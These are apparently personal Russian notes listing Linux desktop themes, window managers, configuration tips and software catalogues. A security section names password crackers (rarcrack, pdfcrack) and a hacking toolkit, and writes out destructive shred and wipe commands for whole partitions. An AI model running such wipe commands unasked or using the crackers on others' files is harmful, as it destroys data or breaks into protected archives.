закосы под винду
https://github.com/grassmunk/Chicago95
https://github.com/Stanton731/Memphis98
Redmond97
https://github.com/matthewmx86/Redmond97
XP Professional
https://github.com/B00merang-Project/Windows-XP
Aero
https://github.com/Elbullazul/Windows-7
Redstone
https://github.com/B00merang-Project/Windows-10
Server 2019
https://github.com/B00merang-Project/Windows-Server-2019/
Server 2003
https://github.com/B00merang-Project/Windows-Server-2003

иконки
https://win98icons.alexmeub.com/
https://www.gnome-look.org/p/1331475/

темы для qmmp
https://skins.webamp.org/

OS/2 Warp 4
https://github.com/B00merang-Project/OS-2-Warp-4/



Wayland
https://github.com/varmd/wayward
https://github.com/natpen/awesome-wayland
https://github.com/solarkraft/awesome-wlroots

запуск
cat ~/.profile


'XDG_SESSION_TYPE=wayland gnome-session'

weston labwc sway swayfx riverwm hyprwm hyprland nwg-shell miracle-wm wayfire wlmaker waybox niri

панель
https://github.com/Alexays/Waybar
https://github.com/LBCrion/sfwbar
https://codeberg.org/dnkl/yambar

DE
https://wiki.archlinux.org/index.php/Desktop_environment_(Русский)
https://lorwiki.org.ru/wiki/Список_DM,_WM_и_прочих_компонентов_рабочего_окружения

KDE
https://kde.org/distributions
https://neon.kde.org/
https://www.trinitydesktop.org/index.php
https://github.com/KDE/kde1-kdebase
https://github.com/heliocastro/kde1
https://github.com/heliocastro/kde2
Сборка KDE4 для Slackware 15.0 в стиле KTown — сборка на основе патчей PBSLACKS.
https://github.com/BrunoLafleur/pbslacks


XFCE
https://forum.xfce.org/index.php
https://goodies.xfce.org/projects/panel-plugins/start
https://docs.xfce.org/start
https://github.com/rhino-linux/unicorn

sudo apt-get install xfce4-whiskermenu-plugin
sudo apt-get install xfce4-clipman-plugin
sudo apt-get install menulibre

xfce4-settings-editor

профили дисплея в xfce4
xrandr --verbose --query
xfce4-display-settings
xfconf-query -c displays -lv
~/.config/xfce4/xfconf/xfce-perchannel-xml/displays.xml

https://docs.xfce.org/xfce/xfce4-settings/4.16/display
«Диспетчер настроек» > «Экран» > «Дополнительно» > создать профиль для текущей конфигурации

https://b00merang-project.github.io/
https://www.xfce-look.org/p/1314848
https://github.com/B00merang-Project/Unity-7
https://github.com/B00merang-Project/Windows-7
https://github.com/B00merang-Project/Windows-XP
https://github.com/B00merang-Project/Windows-95
https://github.com/B00merang-Project/Solaris-9



LXQt
https://lxqt-project.org/
https://github.com/lxqt/lxqt-themes
https://www.opendesktop.org/browse?cat=446
https://github.com/AzumaHazuki?tab=repositories



Enlightenment
https://www.enlightenment.org/
https://www.enlightenment.org/docs/distros/ubuntu-start.md
https://repo.4e.by/
https://www.enlightenment-themes.org/
https://www.pling.com/s/Enlightenment/browse/
https://github.com/search?q=Enlightenment+themes&type=repositories



Etoile
http://etoileos.com/downloads/
https://github.com/etoile/Etoile
http://gnustep.org/
https://www.altlinux.org/GNUstep_(DE)
http://download.opensuse.org/repositories/X11:/GNUstep/
/usr/lib64/GNUstep/Applications/EtoileMenuServer

В состав Etoile входят подсистемы:

  • CoreObject - фреймворк для определения и организации взаимодействия объектов. Поддерживает сохранение состояния объекта (persistence) и лог версионных изменений (versioning), путем записи всех поступающих к объектам запросов.
  • LanguageKit - набор средств компиляции, основанных на использовании LLVM, для разработки на динамических языках программирования поверх Objective-C runtime.
  • EtoileFoundation - основной фреймворк Etoile, базирующийся на методах OpenStep;
  • EtoileUI - высокоуровневый тулкит для построения пользовательского интерфейса;
  • Camaelon - движок для отображения визуальных тем;
  • LuceneKit - фреймворк для организации полнотекстового поиска;
  • UnitKit - фреймворк для тестирования приложений;
  • MediaKit - мультимедиа подсистема;
  • SystemConfig - система для конфигурирования;
  • ScriptKit - средство для создания приложений на языках, отличных от Objective-C и Smalltalk;
  • Azalea - оконный менеджер;
  • AddressKit - средства для работы с адресной книгой, совместимы с AddressesKit для Mac OS X;
  • AZDock и AZSwitch - управляющая панель (dock) и менеджер переключения задач;
  • MenuServer - реализация MacOS-подобных горизонтальных меню;
  • StepChat - Jabber-клиент;
  • Vindaloo - программа для просмотра PDF;
  • Typewriter - текстовый редактор.



CDE
https://sourceforge.net/projects/cdesktopenv/
https://sourceforge.net/p/cdesktopenv/wiki/LinuxBuild/
http://toastytech.com/guis/sol.html
https://guidebookgallery.org/screenshots/cde15solaris9

закосы
CDE Plasma 5
Цвета: https://www.opendesktop.org/p/1252211/
Декорации: https://www.opendesktop.org/p/1252116/
Даже панельку чувак запилил: https://www.opendesktop.org/p/1231243/

XFCE Common Desktop
https://github.com/B00merang-Project/Solaris-9

Fvwm CDE тема.
http://fvwmforums.org/wiki/Decor/CDE/

https://github.com/NsCDE/NsCDE (FVWM)

А кто это у нас тут КДЕ под СДЕ косит? Оригинал таки!

настроить fb
sudo vi /etc/default/grub
Find the line starting with GRUB_CMDLINE_LINUX_DEFAULT, and add video=hyperv_fb:[the resolution you want].

русские шрифты
$xset +fp /usr/share/fonts/X11/75dpi-ISO8859-5/
$Update Cache xfonts
sudo xset fp rehash
sudo fc-cache -fv
нужно руками править «fonts.alias, fonts.dir, encodings.dir» и вручную добавлять шрифты в систему




Прочие
https://system76.com/cosmic/
https://github.com/pop-os/cosmic-epoch
https://www.dracolinux.org/
https://lumina-desktop.org/
https://unityd.org/
https://lomiri.com/
https://edeproject.org/
https://sde-gui.github.io/
https://github.com/onflapp/gs-desktop
https://plainde.github.io/
https://github.com/plainDE
https://sourceforge.net/projects/orbitiny-desktop/
https://github.com/Nitrux/maui-shell
https://github.com/lirios/shell
https://github.com/JeffHoogland/moksha
https://github.com/codic12/worm

https://arcan-fe.com/
https://github.com/letoram
https://durden.arcan-fe.com/
https://github.com/letoram/durden

https://github.com/HeyPuter/puter
https://github.com/getumbrel/umbrel


http://rus-linux.net/lib.php?name=/po/00_base_xwin.koi


WM
https://wiki.archlinux.org/index.php/Window_manager_(Русский)
https://pkgsrc.se/wm
https://www.freshports.org/x11-wm/
http://ftp.netbsd.org/pub/pkgsrc/current/pkgsrc/wm/
https://packages.gentoo.org/categories/x11-wm
http://www.xwinman.org/others.php
http://wiki.opennet.ru/TWM
разница между DE и WM, а также работа в голых иксах
gtk3 мышка колёсико WM
http://lib.ru/unixhelp/fonty.txt Кирилизация


Awesome WM
https://wiki.archlinux.org/index.php/Awesome_(Русский)
https://help.ubuntu.ru/wiki/awesome

super + number переход на другой тэг, где тэг это номер клавиши, точнее его положение (проводя аналогию с другими wm, тэг = вирт. рабочий стол).
super + shift + number перенести текущее окно на другой тэг.
super + j, super+k переход между окнами.
super + shift + j или super + shift + k поменять местами два окна.
super + Space изменение отображения окон. (В awesome очень много видов отображений — тайлинговые: вертикально, горизонтально; композитные — можно мышкой таскать; приложение в фокусе на весь экран и пр.)
super + Enter запустить терминал.
super + r запуск программы.
super+shift+c закрыть окно.
super+shift+r перезапустить awesome.
super+shift+q выйти из awesome.

i3
GOAPPLE: быстрая настройка I3-wm
https://github.com/Avdushin/GOAPPLE

sway
https://github.com/swaywm/sway
https://wiki.archlinux.org/title/sway
https://wiki.gentoo.org/wiki/Sway
SwayWM — сам себе UnixPorn


DWM
https://wiki.archlinux.org/title/Dwm
Создание простого для использования конфига DWM


FVWM
https://www.fvwm.org/Wiki/Config/
https://wiki.archlinux.org/title/FVWM
https://ru.bmstu.wiki/index.php?title=FVWM
FVWM - Строим свой wm (с преферансом и куртизанками)
Первые шаги с FVWM
https://man.freebsd.org/cgi/man.cgi?query=fvwm
http://arnaud.fortier-family.com/wiki/doku.php/fvwm/config
https://github.com/yaoguai/fvwm-min/blob/master/config
https://lorwiki.org.ru/wiki/FVWM
http://ironphoenix.org/fvwm/configs/

https://www.fvwm.org/
https://github.com/fvwmorg/
http://fvwm-crystal.sourceforge.net/
http://fvwm-nightshade.github.io/Fvwm-Nightshade/
https://github.com/urob/fvwm-tiling
https://fvwm-themes.sourceforge.net/
https://www.box-look.org/browse?cat=143
http://fvwm.xirr.com/non-std.html
https://vakuumverpackt.de/fvwm/
https://github.com/vakuum/fvwm-mtp


fvwm1
https://github.com/fvwmorg/fvwm1
http://fvwm.xirr.com/fvwm1.html
https://github.com/NishiOwO/fvwm1



fvwm2

Minim
Black Crystal
fvwm starter's kit

простейший конфиг, ~/.fvwm/config




конфиги с лора
https://gitlab.com/z_m_c/fvwm
https://github.com/Minda1975/FVWM-configs
https://github.com/Minda1975/FVWM-configuration
https://github.com/Minda1975/Minimal-FVWM
https://github.com/Minda1975/Again-FVWM
https://github.com/alexmihajlov/fvwm
https://github.com/yaoguai/fvwm-min
https://github.com/v1cont/ydesk
https://pastebin.com/fsrBZNJ0
https://pastebin.com/2QTFp3bN
https://pastebin.com/W1LYmYbr
https://github.com/111LUX/FVWM
https://github.com/zoomten/fvwm2-sgi
https://github.com/dmatveev/.fvwm

.fvwm2rc Дональда Кнута

https://github.com/NsCDE/NsCDE (закос под CDE)

зависание fvwm-menu-desktop во время создания меню и сбой с исключением python при использовании --get-menus
ValueError: Name node can't be used with "'True'" constant
https://gitlab.freedesktop.org/xdg/pyxdg/-/commit/9b913229ace838958e51a16cabc41905a2460f7b
Начиная с Python 3.8.4, когда ast.Name экземпляр создается с помощью True, Falseи None, возникает ошибка ValueError [1][2]



fvwm-crystal
править файлы
/usr/share/fvwm-crystal/fvwm/preferences/DeskPageX
/usr/share/fvwm-crystal/fvwm/preferences/DefaultTerminal
/usr/share/fvwm-crystal/fvwm/components/functions/Keyboard-Modifiers
изменить



/usr/share/fvwm-crystal/fvwm/components/bindings/Misc-Keybindings
/usr/share/fvwm-crystal/fvwm/components/bindings/Misc-Keybindings_NumLock
добавить между # Main menu и # XDG application menu



отображение программ тут
/usr/share/fvwm-crystal/fvwm/Applications/

дефолтные клавиши
Alt+Right_Win вызывает меню приложений, а Alt+Menu вызывает системное меню
Alt + ` открывает QuakeConsole
Alt + Shift + ` открывает новый терминал
Alt + F1, F2, F3, F4, F5, F6, F7, F8 переключает рабочие столы
Alt + h, j, k, l и Alt + Shift + h, j, k, l перемещают активное окно в различные позиции на экране.
Alt + KP_1, KP_2, KP_3, KP_4, KP_5, KP_6, KP_7, KP_8, KP_9 аналогично вышеописанной функции
KP_/ сворачивает окно в заголовок и обратно
Alt + Shift + F1, F2, F3, F4, F5, F6, F7, F8 перемещают активное окно на соответствующий рабочий стол
Alt + Shift + KP_ или Alt + Shift + Backspace закрывает активное окно
Alt + KP_ или Alt + Backspace сворачивает текущее окно
Полный же список клавиш можно узнать из файлов /usr/share/doc/fvwm-crystal/Keyboard bindings.txt.gz и /usr/share/doc/fvwm-crystal/Mouse bindings.txt.gz


Openbox
obconf obmenu obmenu-generator obkey obsession obbrowser obapps

https://github.com/shaggyz/obmenu-qt
https://github.com/keithbowes/obmenu
https://github.com/0x10/obmenu2

openbox тайлинг
https://github.com/Minda1975/window-managers-configs/blob/master/config/openbox/rc.xml

themes:
установка тем
tar -xavf Nord-Openbox.tar.xz && tar -czvf Nord-Openbox.obt Nord-Openbox
obconf

https://github.com/sleekmason/Themes/tree/master/Openbox-themes

Nord Openbox theme
Xinit
E5150 Openbox
Arcbox
GreyBox
neo
Obiwine
Retro 5 Classic/98
Windows Classic [2000/ME/XP] inspired Openbox theme
Retro 6 XP Luna
Retro 7 Aero/Vista
Retro 4 Wrap
Micro 95
twm theme
Retro 1 China Terminal
Indigo
Black Irish OpenBox Theme
Tron Green
M4qu3l4n-01-Box
Oxygen: Medium Grey OB Theme
KDE4 Plastik OB
waldorf1314
Sapphire
NOXMOD
Hatta
Black Leather
stagnant
ACIDbox
BlueFear
Field+Stream
Sea2Sky
pudding pop
Goth/Industrial 2
Concrete
Debianized Focus Pocus
CoalMine
Storm
stellar
Inkpot Openbox
OpenRoyal



Fluxbox
https://wiki.archlinux.org/index.php/Fluxbox_(Русский)
http://fluxbox.sourceforge.net/docbook/ru/html/book1.html
Как настроить Fluxbox за 5 минут в Debian/Ubuntu или Fedora
http://bisheng-linux.blogspot.com/2011/07/5-minute-guide-to-fluxbox.html
http://www.linuxcookbook.ru/articles/nastroyka-fluxbox
https://addy-dclxvi.github.io/post/my-fluxbox/

Поместить в ~./fluxbox/startup
setxkbmap -layout "us,ru" -option "alt_shift_toggle,grp_led:scroll"
добавить там же в автозапуск
exec fluxbox & fbpid=$! sleep 1 { & fbsetbg -l &xxkb & } & wait $fbpid

автомонтирование
https://rmkrug.wordpress.com/2011/10/21/fluxboxandautomount/#comment-21
apt-get install udisks-glue

nano ~/.udisks-glue



sudo apt install xxkb
nano ~/.xxkbrc




рецепт выше не обязателен, вместо xxkb годится fbxkb, раскладка лучше системная, запуск лучше сделать однократным

Поместить в ~./fluxbox/startup перед exec fluxbox
pkill -9 fbxkb
/usr/bin/fbxkb &


~/.fluxbox/start_check.sh

start_check.sh




темы
sudo apt install lxappearance
~/.fluxbox/styles
https://www.box-look.org/browse/cat/139/
https://tenr.de/styles/
https://www.deviantart.com/customization/skins/themes/fluxbox/
https://github.com/sleekmason/Configuration/tree/master/.fluxbox
https://github.com/sleekmason/Configuration/tree/master/Fluxbox/styles

как добавить выключение и перезагрузку в меню fluxbox

nano $HOME/.fluxbox/menu



nano $HOME/.fluxbox/fbfav





WindowMaker
https://github.com/window-maker/wmaker
http://manpages.ubuntu.com/manpages/trusty/ru/man1/wmaker.1x.html
http://wiki.linuxformat.ru/wiki/LXF107:Освойтесь_в_Window_Maker

https://github.com/gnustep
GNUstep: разрывая все шаблоны
https://www.nextop.de/NeXTstep_3.3_Developer_Documentation/

http://www.cs.mun.ca/~gstarkes/wmaker/
https://www.linux.org.ru/tag/windowmaker?section=3
GlassHexagons window maker theme
https://lonelymachines.org/windowmaker-themes/newer-themes/
Чтобы установить новую тему, достаточно распаковать архив в $HOME/GNUstep/Library/WindowMaker/Themes/

Под кнопкой Mod обычно подразумевается клавиша Alt на стандартной клавиатуре
F12	            Открыть меню приложений
F11	            Открыть список окон
Control+Escape	    Открыть меню для окна
Mod1+H	            Скрыть активное приложение1
Mod1+M	            Свернуть активное окно
Mod1+Up	            Активное окно наверх
Mod1+Down	    Активное окно вниз
Mod1+Tab	    Следующее окно из списка
Mod1+Shift+Tab	    Предыдущее окно из списка
Mod1+Control+Right  Следующее рабочее пространство
Mod1+Control+Left   Предыдущее рабочее пространство

Control+Up	Втянуть активное окно
Control+Left	Распахнуть активное окно по горизонтали
Control+Right	Распахнуть активное окно по вертикали
Control+Down	Распахнуть активное окно
Control+F11	Изменить размер окна


если вы случайно отключите WMClip и WMDock, единственный способ вернуть их в зад - отыскать в этом файле строки и заменить "YES" на "NO"
DisableClip = YES;
DisableDock = YES;

чтобы было нормальное изменение окон со стрелочками и размером, то вытащить из свежего дебиановского архива, напр
http://deb.debian.org/debian/pool/main/w/wmaker/wmaker_0.95.9-3.debian.tar.xz
debian/debianfiles/conf/WindowMaker и заменить ~/GNUstep/Defaults/WindowMaker

баги
если при смене обоев Apperance -> Васkground -> Gradient вылезает ошибка



то исправить в ~/GNUstep/Defaults/WMRootMenu



на





IceWM
cp /usr/share/icewm/menu $HOME/.icewm/menu
добавить в $HOME/.icewm/menu
menufile Programs1 folder programs1
создать меню programs1
vi $HOME/.icewm/programs1




vi $HOME/.icewm/startup



chmod +x $HOME/.icewm/startup

https://idesk.sourceforge.net/html/usage.html
https://wiki.archlinux.org/title/Idesk_(Русский)
sudo apt install idesk

распаковать в ~/.icewm/themes
https://github.com/bbidulock/icewm-extra-themes
Shades of Grey
Windows 2000 / ME inspired IceWM Theme
Windows7SE-Ice
IceWindows7
xp-new
Coronas Debian
Emerge2
Sky
Saphire-G
Icepuma
Ecogreen IceWM Theme
Blue Crystal IceWM Theme
Neon Theme Cyberpunk
Cupertino
TrueGrey +
https://gitlab.com/JackGrumbler/truegrey
IceGraphite +
https://github.com/vinceliuice/Graphite-gtk-theme
Icewm Minimal Black theme +
Icewm nord style ++
https://www.pling.com/s/Gnome/p/1267246/
https://github.com/EliverLara/Nordic
https://github.com/EliverLara/Nordic-Polar
Icewm TokyoNight style


pekwm
https://github.com/pekwm/pekwm
https://wiki.archlinux.org/title/PekWM
https://giters.com/gapan/xdgmenumaker
mmaker --no-desktop pekwm
xdgmenumaker -f pekwm > ~/.pekwm/menu

добавить в ~/.pekwm/menu



pekwm_theme search
pekwm_theme show spiff-p
pekwm_theme install spiff-p

https://github.com/sleekmason/Configuration/tree/master/.pekwm


e16
https://www.enlightenment.org/e16
https://sourceforge.net/projects/enlightenment/files/

apt install libimlib2-dev libxft-dev libxinerama-dev libxrandr-dev libxcomposite-dev libsndfile-dev
как опции
libedbus-dev libpango1.0-dev libxpresent-dev
libpulse-dev libasound2-dev pulseaudio-esound-compat osspd
mesa-common-dev libgl1-mesa-dev libglu1-mesa-dev




apt purge libedbus-dev libpango1.0-dev libxpresent-dev и тд
apt autoremove

Следующие команды отображают список всех удалённых пакетов, чьи файлы настройки всё ещё остаются в системе (если таковые имеются):
sudo dpkg -l | awk '/^rc/ { print $2 }'
Эти пакеты могут быть удалены с помощью команды apt-get purge.
sudo apt-get purge $(dpkg -l | awk '/^rc/ { print $2 }')

Памятка по управлению пакетами в Debian и Ubuntu

поддержка тем GTK
sudo apt install lxappearance

годные темы
http://themes.effx.us/previews
http://themes.effx.us/e16
http://themes.effx.us/packages/e16/
https://github.com/dharrop/themes

7teenE Aliens Chaos Chrome BrushedMetal BrushedMotif Chaos Ganymede GreyMarble Industrial Metallique Nebulon

wget -P ~/.e16/themes http://themes.effx.us/packages/e16/BrushedMetal.etheme


w9wm
полнофункциональный апплет глобального меню
https://github.com/rilian-la-te/vala-panel-appmenu

sudo apt install w9wm 9menu
echo "9menu -label 'X_progs' thunar xfce4-terminal SeaMonkeyPortable chromium-browser mousepad nitrogen exit" > $HOME/.w9wmrc
w9wm -grey -virtuals 12
левый Ctrl+Shift+левая_кнопка_мышки - меню записанное в .w9wmrc
правая_кнопка_мышки - меню w9wm
средняя_кнопка_мышки - выбор рабочего стола


ctwm
https://www.ctwm.org/themes.html
https://datagubbe.se/twm/
http://www.xwinman.org/ctwm.php
http://troubleshooters.com/linux/ctwm/
http://www.reivax.org/projets/cts/


bspwm
https://codeberg.org/Karter_Kein/dotfiles


cwm
https://man.openbsd.org/cwmrc.5
https://findelabs.com/post/cwm-config/
https://romanzolotarev.com/openbsd/cwm.html


tvtwm
https://www.freshports.org/x11-wm/tvtwm
https://gitweb.gentoo.org/user/lmiphay.git/tree/x11-wm/tvtwm/tvtwm-11.ebuild
https://github.com/da4089/tvtwm
https://sourceforge.net/projects/tvtwm7/


qtile
https://qtile.org/
https://github.com/qtile/qtile
https://pypi.org/project/qtile/
https://github.com/qtile/qtile-examples/
https://pypi.org/project/qtile-profiles/
https://wiki.archlinux.org/title/Qtile
https://www.reddit.com/r/qtile/
https://github.com/Andrey0189/qtile-rice
https://github.com/DaniDiazTech/Qtile-Config
https://codeberg.org/Oglo12/personal-qtile-config
https://pastebin.com/k8yQqRUx

pip install qtile


Текстовые WM (wm в tty)
Viper Window Manager (VWM) — это легкий, расширяемый оконный менеджер для консоли.
http://vwm.sourceforge.net/index.html

Monotty Desktopio Текстовая среда рабочего стола внутри вашего терминала
https://github.com/netxs-group/vtm
https://github.com/directvt/vtm

Twin - это оконная среда с поддержкой мыши, оконным менеджером, эмулятором терминала и сетевыми клиентами, все внутри текстового дисплея.
https://github.com/cosmos72/twin


Прочие
afterstep nextspace
sawfish jwm
fvwm1 mwm vtwm olvwm fwmx blackbox
dwm xmonad spectrwm herbstluftwm notion ratpoison stumpwm musca exwm berry
qtile

https://ftp.gwdg.de/pub/x11/x.org/contrib/window_managers/
https://sunsite.icm.edu.pl/pub/X11/contrib/window_managers/


https://wiki.archlinux.org/index.php/Comparison_of_tiling_window_managers_(Русский)


menu WM
vdesk 3 && mousepad
update-alternatives --config x-terminal-emulator
update-menus
https://www.debian.org/doc/packaging-manuals/menu.html/
/etc/menu/,/usr/share/menu/,/usr/lib/menu/,~/.menu/

pdmenu jgmenu

http://menumaker.sourceforge.net
https://github.com/gapan/xdgmenumaker

https://github.com/themad/xmenud/blob/master/xmenud.py
wget -P $HOME/bin https://raw.githubusercontent.com/themad/xmenud/master/xmenud.py
python2 xmenud.py
chmod +x xmenud.py
xmenud.py -t
xmenud.py -t -n

wget -P $HOME/Downloads/ https://sites.google.com/site/jvinla/myGtkMenu-1.3.tar.gz
mkdir -p $HOME/lib/myGtkMenu/
tar -xvzf $HOME/Downloads/myGtkMenu-1.3.tar.gz -C $HOME/lib/myGtkMenu/



chmod +x $HOME/bin/myGtkMenu





Прочие
Arcan
https://arcan-fe.com/
https://github.com/letoram



Windows

Litestep


Litestep как альтернативный рабочий стол на TS
Создание тем для LiteStep
http://litestep.info/overview/litestep-manual.html

blackbox


https://bb4win.sourceforge.net/bblean/
http://blackbox4windows.com
https://spoonm.org/bbzero/
http://www.boxshots.org/
http://www.boxshots.org/styles.zip
http://xoblite.net/

http://bb4win.sourceforge.net/styles.html
Радикальное решение всех проблем с интерфейсом Windows 8

bblean не отображается tray windows
Причина, по которой половина или более значков не отображаются, связана с тем, что explorer работает под bblean. Вам нужно будет убить его перед запуском оболочки blackbox, попробуйте что-то вроде этого

start_bb.bat



или грохнуть в taskmgr процесс explorer, затем запустить bbLean


bbIconBox.rc



Прочие


https://gnustep.github.io/windows/installer.html
http://sharpe.sourceforge.net/Download.html
https://github.com/McYoloSwagHam/win3wm
https://github.com/fuhsjr00/bug.n
https://github.com/workspacer/workspacer
https://github.com/TimUntersberger/nog
https://github.com/LGUG2Z/komorebi

https://www.astonshell.ru/
https://www.lighttek.com/talisman.htm
https://www.stardock.com/products/windowblinds/
https://www.actualtools.com/windowmanager/
https://maxto.net/ru

https://virtuawin.sourceforge.io/
https://windowspager.sourceforge.net/
https://winlaunch.org/

https://learn.microsoft.com/ru-ru/windows/powertoys/always-on-top
https://learn.microsoft.com/ru-ru/windows/powertoys/fancyzones



среда рабочего стола часть 1

Soft
консольная подборка

линуксовые софтинки

https://nosystemd.org/

https://flathub.org/
https://snapcraft.io/
https://appimage.github.io/apps/
https://github.com/ostreedev/ostree
https://prism-break.org/ru/categories/gnu-linux/

системные утилиты
память: earlyoom zram-config
песочница: firejail

configure-debian command-not-found
мониторинг: wireshark tcpdump wavemon lshw atop hping3 inxi neofetch ncdu nmon htop sysstat tcpdump pstree iptraf ntopng iftop ngrep
shelltool cmdtool

эмуляторы терминала
xfce4-terminal hotwire tilix terminator sakura lilyterm tabby xonsh wezterm

alacritty


useful tabbed hotkeys:
Ctrl-Shift Return open new tab
Ctrl-Shift-h previous tab
Ctrl-Shift-l next tab
Ctrl-Shift-j move selected tab one to the left
Ctrl-Shift-k move selected tab one to the right
Ctrl-Shift-u toggle autofocus of urgent tabs
Ctrl-Tab toggle between the selected and last selected tab
Ctrl-‘ open dmenu to either create a new tab appending the entered string or select an already existing tab.
Ctrl-q close tab
Ctrl-u focus next urgent tab
Ctrl-[0..9] jumps to nth tab
F11 Toggle fullscreen mode.


mkdir -p ~/.config/alacritty/themes
git clone https://github.com/alacritty/alacritty-theme ~/.config/alacritty/themes



вместо {theme} любое из перечисленного

campbell chicago95 gnome_terminal kitty linux konsole_linux msx terminal_app tango_dark ubuntu xterm zenburn
gotham falcon iris monokai_charcoal omni
cyber_punk_neon dark_pride gruvbox_dark rainbow inferno

alacritty old version
git clone --branch yaml https://github.com/alacritty/alacritty-theme ~/.config/alacritty/themes




дисковые
whdd badblocks gparted
https://www.r-studio.com/ru/free-linux-recovery/
https://www.cgsecurity.org/wiki/TestDisk_Download
https://github.com/whdd/whdd
https://dmde.ru/
http://www.hddsuperclone.com/

файловые
файловый менеджер
krusader dolphin konqueror nautilus nemo thunar pcmanfm zzzfm sunflower rox-filer doublecmd qtfm emelfm2 tkdesk mc lfm sfbm

архиваторы: file-roller peazip
https://github.com/samyk/rarcrack
утилиты: pup-volume-monitor

usb
Ventoy WoeUSB WoeUSB-ng ROSA_ImageWriter
https://github.com/jsamr/bootiso (терминальный)

cdrom
https://cdemu.sourceforge.io/


desktop
утилиты
display servers: xpra xnest xephyr xdmx Xvfb
тайлинг: qtile (WM) pytule xtile
композитор: picom xcompmgr compton
управлялки: xhost xdotool autokey ctrlwm wmctrl sxhkd xwinmosaic vdesk
x2x
xkill
моник: xinerama fbset xrandr arandr lxrandr autorandr xlayoutdisplay brightnessctl magnus touchegg
клава: fbxkb xmodmap
принтер: cups xsane
webcamera: droidcam
вывод инфы: screenfetch neofetch Xfdashboard xlsclients
скриншот: scrot


menu
dmenu rofi ulauncher xlunch pdmenu gmrun menutray xlunch fbmenugen obmenu-generator jgmenu mygtkmenu xmenud menumaker xdgmenumaker Whisker Menu

panel bar
plank perlpanel wbar bbdock fbpanel cairo-dock hpanel qtpanel bmpanel bmpanel2 adesk adeskbar adeskmenu avant-window-navigator polybar stalonetray taskbar

буффер обмена
clipit xclip xsel xfce4-clipman
https://github.com/hluk/CopyQ
pyperclip


безопасность
Инструменты Kali Linux

VeraCrypt gpg seahorse keepassxc cryptomator cryfs
https://github.com/Manisso/fsociety

мониторинг: wireshark tcpdump wavemon lshw atop hping3
etherape если "invalid cast from 'GtkLabel' to 'GnomeCanvas'" то apt-get install libgnomeui-0

Timeshift защищает вашу систему, делая инкрементальные снимки файловой системы через регулярные промежутки времени
https://github.com/teejee2008/timeshift

восстановление удалённых файлов: photorec extundelete scalpel foremost

безопасное удаление
wipe -rfi /path/to/директория/

файл
shred -u /path/to/file
shred -u -n 35 -z /path/to/file1 /path/to/file2 /path/to/file3
shred -u -z *.txt

диск
shred --iterations 3 -z -v /dev/sdd1
--iterations 3 - 3 прохода;
-z - шлифануть дополнительно нулями (чтобы скрыть факт зачистки);
-v - ход процесса;
-n - количество перезаписи

https://github.com/samyk/rarcrack

разработка
https://www.hex-rays.com/products/ida/support/download_freeware.shtml
редакторы текста
IEP sublimetext CudaText textadept wxmedit scite tea-qt
suplemon
заменить в suplemon/suplemon/modules/crypt.py 'from Crypto' на 'from Cryptodome'

l3afpad focuswriter

bokken cutter
hexdump hexedit ghex bless ImHex
radiff2 diffuse meld
sttr
HeildiSQL

настольные приложения из веб страниц
https://github.com/tw93/Pake

https://docs.dust3d.org/en/latest/install.html
http://www.draftsight.com/download-linux-ubuntu

интернет
браузеры
thorium ungoogled-chromium min qutebrowser
librefox waterfox librewolf seamonkey
qtweb nyxt luakit

qutebrowser
https://www.linux.org.ru/gallery/screenshots/17451995?cid=17452598
в браузере уже есть встроеный блокировщик рекламы - надо только базы обновить, жмешь по очереди : Tab Enter все базы обновлены




RSS
miniflux


скачивание
rtmpdump youtube-dl yt-dlp you-get ytfzf streamlink
aria2 axel wpull
qbittorrent transmission deluge rtorrent ctorrent
tribler

звонки, видео чаты, переписка
sflphone-gnome zoiper3 mumble pidgin gajim
https://discordapp.com/
https://tox.chat/clients.html
https://jami.net/ (аналог skype)
https://dino.im/ (аналог skype чат-клиент Jabber/XMPP )
https://github.com/signalapp
https://element.io/
https://www.ejabberd.im/
https://github.com/simplex-chat/simplex-chat

https://session.foundation/
https://getsession.org/
https://github.com/session-foundation

https://github.com/qTox/qTox
https://github.com/TokTok/qTox

https://github.com/gkdr/carbons
https://github.com/Junker/purple-xmpp-http-upload

Matrix: децентрализованные открытые мессенджеры с E2E-шифрованием. Обзор возможностей и настройка своего сервера
https://github.com/element-hq/dendrite
https://github.com/matrix-org/purple-matrix/

https://github.com/conversejs/converse.js
https://open-store.io/app/conversejs.luigi311

клиент WhatsApp (неофициальный)
https://github.com/WAClient/WALC


https://keybase.io/ ( безопасный обмен сообщениями и файлами.)
https://github.com/rustdesk/rustdesk/ (аналог TeamViewer.)


office
https://gitlab.com/mayan-edms/mayan-edms
https://github.com/zhoubear/open-paperless
https://github.com/zealdocs/zeal/

pdf djvu fb2
okular qpdfview zathura djview4 llpp fbless fbpdf jfbview fbgs fbida fim
koreader foliate fbreader coolreader mobi
pip3 install epy-reader
flibgolite
pdfcrack exiftool

переводчики
https://github.com/argosopentech/argos-translate
https://crow-translate.github.io/es/
https://github.com/soimort/translate-shell
https://github.com/Dushistov/sdcv
https://github.com/pot-app/pot-desktop

шрифты:               font-manager
распознавалка текста: cuneiform tesseract
будильник:            ding



видео
видеомонтаж: cinelerra
скринкастинг: vokoscreen-ng recordmydesktop obs-studio
Скринкастинг в Linux (FFmpeg)
передача потока: streamlink

стриминг
https://github.com/bluenviron/mediamtx
стриминг через ffmpeg в MediaMTX
ffmpeg -re -i input.mp4 -c:v copy -c:a copy -f rtsp rtsp://localhost:8554/mystream
ffmpeg -re -stream_loop -1 -i file.ts -c copy -f rtsp -rtsp_transport tcp rtsp://localhost:8554/mystream
ffmpeg -re -stream_loop -1 -i file.ts -c copy -f rtsp rtsp://myuser:mypass@localhost:8554/mystream
чтение с сервера
ffmpeg -i rtsp://localhost:8554/mystream -c copy output.mp4
ffmpeg -rtsp_transport tcp -i rtsp://localhost:8554/mystream -c copy output.mp4
образ docker
docker run --rm -it --network=host bluenviron/mediamtx:latest


adobe flash
https://archive.org/download/standalone_flash_players
https://archive.org/search.php?query=subject%3A%22flash+player%22&page=2
https://archive.org/download/adobe-flash-player-32-for-various-systems-and-flash-lite-pdfs.

аудио
плееры: mpv moc exo mpd ncmpcpp sonata gimmix gmusicbrowser cantata xmms2 ario
https://www.musicpd.org/clients/
mixxx
audacious deadbeef qmms AIMP6
радио: curseradio radiotray-lite
observer obplayer libretime XFB rivendell
микшеры: pavucontrol volwheel
теги: EasyTAG Kid3 puddletag eyed3 mtag
ffmpeg


https://katamotz.net/katahots/ (текст в аудио)
https://github.com/pot-app/pot-desktop
https://github.com/psemiletov/beseda
https://github.com/gkarsay/parlatype (аудио в текст)
https://github.com/openai/whisper
https://github.com/ggerganov/whisper.cpp

https://www.musicpd.org/clients/
